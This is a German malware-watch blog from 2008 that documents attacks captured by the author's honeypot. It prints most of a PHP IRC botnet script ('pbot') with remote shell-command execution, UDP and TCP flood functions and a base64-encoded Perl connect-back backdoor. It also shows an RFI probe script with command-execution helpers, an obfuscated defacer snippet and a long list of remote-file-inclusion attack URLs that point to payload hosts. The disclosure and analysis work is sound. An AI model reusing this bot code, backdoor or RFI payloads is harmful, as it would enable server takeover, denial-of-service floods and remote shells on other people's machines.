Thursday, December 11. 2008[malware]Webauftritt des SPD Ortsverbandes Esens verteilt immer noch pbots
In dem Artikel vom 12.Oktober 2008 könnt Ihr lesen,
dass die Webseite des SPD Ortsverbandes Esens gehackt wurde. Heute, am 11. Dezember sieht es nicht besser aus. NIEMANDen interessiert, was dort auf der Seite zum Herunterladen abgelegt wurde! Doch! Mich interessiert es! Ich zeige Euch einen php-bot, der dort zum Verteilen bereitliegt: CODE: [research@vbox2 ~]$ date && curl http://spd-esens.de/spd/contentimage/pbot.gif > pbot.txt
Do 11. Dez 02:27:12 CET 2008
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21718 100 21718 0 0 54026 0 --:--:-- --:--:-- --:--:-- 133k
[research@vbox2 ~]$ cat pbot.txt
<?
set_time_limit(0);
error_reporting(0);
echo "h4ck3d";
class pBot
{
var $config = array("server"=>"irc.oltreirc.net",
"port"=>"6667",
"pass"=>"",
"prefix"=>"k0d",
"maxrand"=>"4",
"chan"=>"##rox4##",
"chan2"=>"##rox4##",
"key"=>"123457",
"modes"=>"+p",
"password"=>"rox",
"trigger"=>".",
"hostauth"=>"*" // * for any hostname (remember: /setvhost xdevil.org)
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = $this->config['prefix'];
$alph = range("0","9");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,9)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->log_in($host);
}
else
{
$this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart commando from $nick");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
}
}
break;
case "safe":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = "on";
}
else {
$safemode = "off";
}
$this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
break;
case "inbox": //teste inbox
if(isset($mcmd[1]))
{
$token = md5(uniqid(rand(), true));
$header = "From: <inbox".$token."@X-Ide.com>";
$a = php_uname();
$b = getenv("SERVER_SOFTWARE");
$c = gethostbyname($_SERVER["HTTP_HOST"]);
if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERV
ER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <marcsown@hotmail.com>",$header))
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
case "conback":
if(count($mcmd)>2)
{
$this->conback($mcmd[1],$mcmd[2]);
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
break;
case "bot":
$this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "sexec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = exec($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "passthru":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = passthru($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "popen":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2popen\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
case "system":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = system($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
SNIP---SNAP
}
else
{
$this->nick = "[C]";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
}
function conback($ip,$port)
{
$this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAi
VXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1
ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xc
biIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb2
5uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlm
ICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy
1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
if (is_writable("/tmp"))
{
if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
$fp=fopen("/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /tmp/dc.pl $ip $port &");
unlink("/tmp/dc.pl"); gekürzt
Am Ende des Skriptes findet ihr einen base64 codierten Teil, der als backdoor auf den infizierten Seiten dient. darüber später mehr ... Monday, November 24. 2008Holz aus Brasilien - this is fuckin cr4nk
Nachdem ich den freundlichen Kommentar von haterbreed entdeckt hatte,
habe ich einmal die gleiche Google-Suche gestartet, wie er es tat. Neben meinem blog hier gabs auch noch andere Ergebnisse, wie zum Beispiel diesen: google cache von brasilwood.eu Falls der Cache nicht mehr die ersetzte Seite zeigt, habe ich hier einmal nen screenshot hinterlegt: Klicken zum Vergrössern! ...oder hier den Text: CODE: Herzlichen Glückwunsch, sie wurden gehackt, besser gesagt ihr Webhoster.
Wir haben aber keine Interesse an ihren Daten und behalten uns vor irgendwelche Daten gestohlen zu haben, was wir mit Sicherheit getan haben.
Safe the Urwald and dont kaufe Holz aus Brasilien IHR SEID FÜR DIE GLOBALE ERWÄHRMUNG DER ERDE VERANTWORTLICH. HOLZ HAT AUCH gefühle.
Einen schönen Tag
Ihre Verbraucherschützer
well0ne und haterbreed
Autogramme gibts unter:
irc.unixunited.net #hilfeichwurdegehackt
Grettings to: unixunited, tng, Alpha-Accz und Satyr
Nanu? cr4nk hat politische Intention? Wer weiss. Thursday, November 6. 2008Crank - this is fuckin cr4nkCODE: #####################################################################
# +------------------+ #
# | ___ | Crank #
# | _ (,~ | _ | this is fuckin cr4nk #
# | (____/ |____) | #
# | ||||| ||||| | if your skilld in perl,php,c,c++ #
# | ||||| ||||| | Contact: cr4nk.sx.am #
# | |||||\ /||||| | cr4nk.6x.to #
# | |||'//\/\\`||| | #
# | |' m' /\ `m `| | wh00ps nothin more here #
# | /||\ | #
# \_ _/ #
# `------------' #
#####################################################################
$x0b="in\x69_\147\x65\x74"; $x0c="\163tr\x74o\154\x6fwe\x72";
echo "c\162\141\156k\x5fr\157c\x6bs";if (@$x0b("\163\x61\x66e_\x6d\15
7\144e") or $x0c(@$x0b("\x73a\x66\x65_m\x6fde")) == "\x6f\x6e"){echo "
\123a\146\x65\155od\145\x3ao\156";}else {echo "\123a\146e\x6do\x64e:\x
6ff\x66";}exit(); ?>
crank? crank.ws ist Geschichte. Viel Spass beim Nachforschen! Sunday, October 12. 2008Webseite des SPD Ortsverbandes Esens-Nord gehackt
Damit mir nicht jemand vorwirft ich sei politisch,
veröffentliche ich hier einmal den Link zum responsefile, das Teil eines Angriffes auf eine meiner domains war: (...auch die SPD hilft beim Verteilen von RFI/LFI/SQLI bots) http://spd-esens.de/spd/contentimage/bid.txtOder ist sowas nur interessant, wenn es beim jährlichen CCC Treffen passiert? CODE: <?php
echo "549821347819481<br />";
//VaRiaBiLi Di SiSTeMa
$uname = @php_uname();
//eCHo
echo "uname -a: $uname<br />";
//SAFE OFF
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
$contrs=0;
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
$contrs=0;}
else{
$contrs=1;
}}
if($contrs == 0)
{
echo("uid=");
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
?>
...mal sehen wielange es dauert bis die Datei entfernt wird. UPDATE: ...noch nicht entfernt CODE: Thu Oct 16 19:48:23 CEST 2008
--19:48:23-- http://spd-esens.de/spd/contentimage/bid.txt
=> `bid.txt'
Resolving spd-esens.de... 87.238.199.52
Connecting to spd-esens.de|87.238.199.52|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,360 (1.3K) [text/plain]
100%[==================================================================================================================>] 1,360 --.--K/s
19:48:24 (41.84 MB/s) - `bid.txt' saved [1360/1360]
oO Friday, October 3. 2008onspeed.com als Beschleuniger für hacker
onspeed.com ist laut deren Webseite ein Dienst,
der langsame Verbindungen beim browsen beschleunigen soll. Wenn ich dies richtig verstanden habe, bekommt man für knapp 25 Dollars Zugang zu einem Service, der Browseranfragen aus einem Cache mit gepackten Daten beantwortet. (deflate) Ebenso ist es aber dadurch möglich, RFI scans mit einer ziemlich hohen Geschwindigkeit durchzuführen. Das soll jetzt keine Werbung sein. Ich meine das ernst. onspeed hat bisher nicht auf meine mails geantwortet, daher nun meine Empfehlung an alle Admins, Hostmaster und was immer folgende domains/IPs zu blocken: Stand 3.10.2008 17:05 domain IP --------------------------------------------------------- navaho.onspeed.com 72.3.137.82 yuma.onspeed.com 72.3.137.83 vanadium.onspeed.com 83.138.172.72 chromium.onspeed.com 83.138.172.76 silicon.onspeed.com 212.100.250.218 sulphur.onspeed.com 212.100.250.225 aluminium.onspeed.com 212.100.250.217 nickel.onspeed.com 212.100.250.230Ich persönlich habe kein Problem damit etwas grosszügiger zu sein: 72.3.137.0/24 83.138.172.0/24 212.100.250.0/24Hier ein Auszug aus der abuse mail: Saturday, September 13. 2008[honeyd] rfi - listen
Der Andrang ist inzwischen so gross geworden, mich zum Opfer zu machen, sodass ich während ich Skripte versuche zu erstellen, die Situation sich schon wieder dermassen geändert hat, dass ich das Konzept wieder neu überdenken muss ;) Hier die letzten Einschläge: CODE: //zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
///doceboCms/class//errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
///doceboCms/class//errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
//reports.php?sub=http://vnc2008.webcindario.com/id44.txt??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/home.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
//reports.php?sub=http://vnc2008.webcindario.com/id44.txt??
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//reports.php?sub=http://www.hotelsunflower.it/modules/rhs/idv6.txt???
//reports.php?sub=http://www.hotelsunflower.it/modules/rhs/idv6.txt???
//reports.php?sub=http://www.hotelsunflower.it/modules/rhs/idv6.txt???
//index.php?_REQUEST=&_REQUEST[option]=option,com_comprofiler&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.sunter.us/a.txt?
//zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/index.php?r=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//init_basic.php?GALLERY_BASEDIR=http://smba.jinju.ac.kr/ismael.txt????
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
///doceboCms/class//errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/head.php?adresa=http://jamesmng.freehostia.com/r57.txt??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/head.php?adresa=http://herk.freehostia.com/prv/pbot.txt?
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/head.php?adresa=http://www.robinwood7.xpg.com.br/enviando.php3?
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
///doceboCms/class//errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/head.php?adresa=http://www.robinwood7.xpg.com.br/enviando.php3?
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
/index.php?option=com_registration&Itemid=&mosConfig_absolute_path=http://www.edoloshop.it/images/inv??
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
//Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//include/lib.inc.php?site_path=http://tb4run.t35.com/alb.spread.gif?
//include/lib.inc.php?site_path=http://tb4run.t35.com/alb.spread.gif?
/index1.php?menu=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/str.php?page=http://tb4run.t35.com/alb.spread.gif?
//sohoadmin/includes/login.php?_SESSION[docroot_path]=http://www.citoyennete-active.org/mambots/content/safe1.txt???
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/reports.php?sub=http://tb4run.t35.com/alb.spread.gif?
/str.php?page=http://tb4run.t35.com/alb.spread.gif?
/reports.php?sub=http://tb4run.t35.com/alb.spread.gif?
//read.php?fpage=http://tb4run.t35.com/alb.spread.gif?
/view.php?sub=http://tb4run.t35.com/alb.spread.gif?
/home.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/head.php?adresa=http://smart4media.ro/media/tancap.txt??
/errors.php?error=http://tb4run.t35.com/alb.spread.gif?
/errors.php?error=http://tb4run.t35.com/alb.spread.gif?
//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://www.sunter.us/a.txt?
/index2.php?p=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index2.php?p=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index1.php?menu=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//faqsupport/samplefaqsupport.php?path[docroot]=http://www.autosate.ru/images/borda.jpg?
/index.php?site=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//Neos_Chronos/header.php?base_folder=http://8.19.35.63/bhl/id.txt?
/index.php?site=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/head.php?adresa=http://h1.ripway.com/g3r1ly4/botping.txt???
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.coaching-pool-coach.de/id.txt??
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/head.php?adresa=http://white.be/info.txt?
/head.php?adresa=http://www.robinwood7.xpg.com.br/enviando.php3?
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
///classes/adodbt/sql.php?classes_dir=http://egetyn-adag.eravna.ru//wp-content/fgallery_images/image.jpg??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
/head.php?adresa=http://h1.ripway.com/g3r1ly4/botping.txt???
/head.php?adresa=http://intermoto.ovh.org/mambo/west.txt?
/head.php?adresa=http://jamesmng.freehostia.com/r57.txt??
//zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//includes/header.php?c_temp_path=http://tanahdijual.com/id.txt???
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//index.php?_REQUEST=&_REQUEST[option]=option,com_comprofiler&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.sunter.us/a.txt?
/head.php?adresa=http://6babe.dk/st/c.txt?
/head.php?adresa=http://6babe.dk/st/c.txt?
//include/lib.inc.php?site_path=http://www.autosate.ru/images/borda.jpg?
/head.php?adresa=http://h1.ripway.com/g3r1ly4/botping.txt???
/akocomments.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/lib.inc.php?site_path=http://www.autosate.ru/images/borda.jpg?
//facileforms.frame.php?ff_compath=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//admin/business_inc/saveserver.php?thisdir=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
//init_basic.php?GALLERY_BASEDIR=http://smba.jinju.ac.kr/ismael.txt????
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
///doceboCms/class//errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/akocomments.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
//components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
/akocomments.php?mosConfig_absolute_path=http://tb4run.t35.com/alb.spread.gif?
//index.php?autoLoadConfig[999][0][autoType]=http://tb4run.t35.com/alb.spread.gif?
//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/id.txt??
//Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
///doceboCms/class//errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
///doceboCms/class//errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//index.php?pag=http://www.geocities.com/kucluxanang/id2.txt??
